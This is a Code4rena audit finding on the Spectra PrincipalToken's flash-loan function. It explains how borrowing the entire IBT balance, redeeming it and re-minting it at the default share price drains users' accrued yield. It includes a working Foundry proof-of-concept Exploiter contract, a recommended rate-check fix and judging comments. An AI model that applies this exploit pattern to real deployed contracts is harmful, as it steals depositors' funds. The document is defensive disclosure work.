Platform: Code4rena
Start Date: 23/02/2024
Pot Size: $36,500 USDC
Total HM: 2
Participants: 39
Period: 7 days
Judge: Dravee
Id: 338
League: ETH
Rank: 1/39
Findings: 1
Award: $8,807.03
🌟 Selected for report: 1
🚀 Solo Findings: 0
🌟 Selected for report: Arabadzhiev
Also found by: ArmedGoose, blutorque
8807.0294 USDC - $8,807.03
The current implementation of the PrincipalToken
has a flash lending functionality:
function flashLoan( IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data ) external override returns (bool) { if (_amount > maxFlashLoan(_token)) revert FlashLoanExceedsMaxAmount(); uint256 fee = flashFee(_token, _amount); _updateFees(fee); // Initiate the flash loan by lending the requested IBT amount IERC20(ibt).safeTransfer(address(_receiver), _amount); // Execute the flash loan if (_receiver.onFlashLoan(msg.sender, _token, _amount, fee, _data) != ON_FLASH_LOAN) revert FlashLoanCallbackFailed(); // Repay the debt + fee IERC20(ibt).safeTransferFrom(address(_receiver), address(this), _amount + fee); return true; }
And as of now, this functionality is implemented in such a way, that it allows users to borrow the whole IBT balance of the PrincipalToken
permissionlessly:
function maxFlashLoan(address _token) public view override returns (uint256) { if (_token != ibt) { return 0; } // Entire IBT balance of the contract can be borrowed return IERC4626(ibt).balanceOf(address(this)); }
This is fine on it's own and it works as it should. However there is a specific case where it can be abused. If the IBT vault prices its shares using the following formula:
Then, it will fall-back to some default price value when its totalAssets
and totalShares
values are equal to zero. Most usually that is the value of 1
. Such is the case with the OpenZeppelin ERC4626 vault implementation, which is the most commonly used ERC4626 base implementation:
function _convertToAssets(uint256 shares, Math.Rounding rounding) internal view virtual returns (uint256) { return shares.mulDiv(totalAssets() + 1, totalSupply() + 10 ** _decimalsOffset(), rounding); }
In that case, if the PerincipalToken
contract happens to hold all of the IBT supply, a malicious lender can come in and perform the following exploit:
1. Take a flash loan from the PrincipalToken contract that is exactly equal to its IBT balance 2. Redeem all of the borrowed shares in the IBT vault for their underlying asset value 3. Mint back the borrowed IBT shares + the required flash loan fee shares from the vault 4. Pay back the flash loan + the flash loan fee
What has just happened in the above described scenario is that the malicious lender has successfully reset the IBT vault share price to its default value, by redeeming all of the vault's shares for all of its underlying assets. Then, they have minted back the previously redeemed shares plus the required flash loan fee shares at the default price and finally paid back the flash loan with those. Ultimately, what the attacker managed to accomplish is that they managed to get totalIBTSupply * (initialIBTPrice - defaultIBTPrice)
of underlying IBT assets at the expense of a single flash loan fee, while leaving the PerincipalToken
contract's users with a massive loss. More specifically, the users of the contract will lose all of their accumulated yield and potentially even more than that, depending on the IBT price at which they deposited into the PT and how far down it will be able to be deflated.
The following Foundry PoC test demonstrates how the scenario outlined in the "Impact" section could play out, using Solidity code. It is written on top of the PrincipalToken4
test suite contract, which uses an instance of the MockIBT2
contract as its IBT token, which uses the same share pricing mechanism as the one described above.
// SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.20; import {ContractPrincipalToken} from "./PrincipalToken4.t.sol"; import "openzeppelin-contracts/interfaces/IERC4626.sol"; import "openzeppelin-contracts/interfaces/IERC3156FlashBorrower.sol"; contract PrincipalTokenIBTDelfation is ContractPrincipalToken { function testDeflateIBTVault() public { // TEST_USER_1 deposits 1 IBT into the principal token contract vm.startPrank(TEST_USER_1); underlying.mint(TEST_USER_1, 1e18 - 1); // -1 because TEST_USER_1 already has 1 wei of IBT underlying.approve(address(ibt), 1e18 - 1); ibt.deposit(1e18 - 1, TEST_USER_1); ibt.approve(address(principalToken), 1e18); principalToken.depositIBT(1e18, TEST_USER_1); vm.stopPrank(); // TEST_USER_2 deposits 9 IBT into the principal token contract vm.startPrank(TEST_USER_2); underlying.mint(TEST_USER_2, 9e18); underlying.approve(address(ibt), 9e18); ibt.deposit(9e18, TEST_USER_2); ibt.approve(address(principalToken), 9e18); principalToken.depositIBT(9e18, TEST_USER_2); vm.stopPrank(); // Simulate vault interest accrual by manualy inflating the share price vm.startPrank(TEST_USER_3); uint256 generatedYield = 10e18; underlying.mint(TEST_USER_3, generatedYield); underlying.transfer(address(ibt), generatedYield); vm.stopPrank(); // Execute exploit using the Exploiter contract Exploiter exploiterContract = new Exploiter(); uint256 underlyingBalanceBeforeExploit = underlying.balanceOf(address(exploiterContract)); principalToken.flashLoan(exploiterContract, address(ibt), 10e18, ""); uint256 underlyingBalanceAfterExploit = underlying.balanceOf(address(exploiterContract)); assertEq(underlyingBalanceBeforeExploit, 0); assertEq(underlyingBalanceAfterExploit, generatedYield); // All of the generated yield got stollen by the attacker } } contract Exploiter is IERC3156FlashBorrower { function onFlashLoan( address initiator, address token, uint256 amount, uint256 fee, bytes calldata data ) external returns (bytes32) { IERC4626 ibt = IERC4626(token); ibt.redeem(amount, address(this), address(this)); IERC20(ibt.asset()).approve(address(ibt), type(uint256).max); ibt.mint(amount + fee, address(this)); ibt.approve(msg.sender, amount + fee); return keccak256("ERC3156FlashBorrower.onFlashLoan"); } }
Manual Review
In the PrincipalToken::flashLoan
function, verify that the IBT rate/price has not decreased once the flash loan has been repaid:
function flashLoan( IERC3156FlashBorrower _receiver, address _token, uint256 _amount, bytes calldata _data ) external override returns (bool) { if (_amount > maxFlashLoan(_token)) revert FlashLoanExceedsMaxAmount(); uint256 fee = flashFee(_token, _amount); _updateFees(fee); + uint256 initialIBTRate = IERC4626(ibt).convertToAssets(ibtUnit); // Initiate the flash loan by lending the requested IBT amount IERC20(ibt).safeTransfer(address(_receiver), _amount); // Execute the flash loan if (_receiver.onFlashLoan(msg.sender, _token, _amount, fee, _data) != ON_FLASH_LOAN) revert FlashLoanCallbackFailed(); // Repay the debt + fee IERC20(ibt).safeTransferFrom(address(_receiver), address(this), _amount + fee); + uint256 postLoanRepaymentIBTRate = IERC4626(ibt).convertToAssets(ibtUnit); + if (postLoanRepaymentIBTRate < initialIBTRate) revert FlashLoanDecreasedIBTRate(); return true; }
ERC4626
#0 - c4-pre-sort
2024-03-03T10:52:52Z
gzeon-c4 marked the issue as duplicate of #240
#1 - c4-pre-sort
2024-03-03T10:52:55Z
gzeon-c4 marked the issue as sufficient quality report
#2 - c4-judge
2024-03-11T01:10:48Z
JustDravee marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-03-15T11:35:04Z
JustDravee marked the issue as selected for report
#4 - c4-judge
2024-03-15T11:35:13Z
JustDravee changed the severity to 2 (Med Risk)
#5 - JustDravee
2024-03-15T11:38:44Z
As per the conversation with the sponsor under https://github.com/code-423n4/2024-02-spectra-findings/issues/240 and given that the sponsor agreed that the finding could either be low or medium, I'll acknowledge this bug as being more than a low. Although the edge case was mentioned to be unlikely, there's still value in the mitigation (we never know how this could turn out to be further exploited) Selecting the current report as it's the most complete (although the remediation is too restrictive)
#6 - c4-judge
2024-03-15T15:22:53Z
JustDravee marked the issue as satisfactory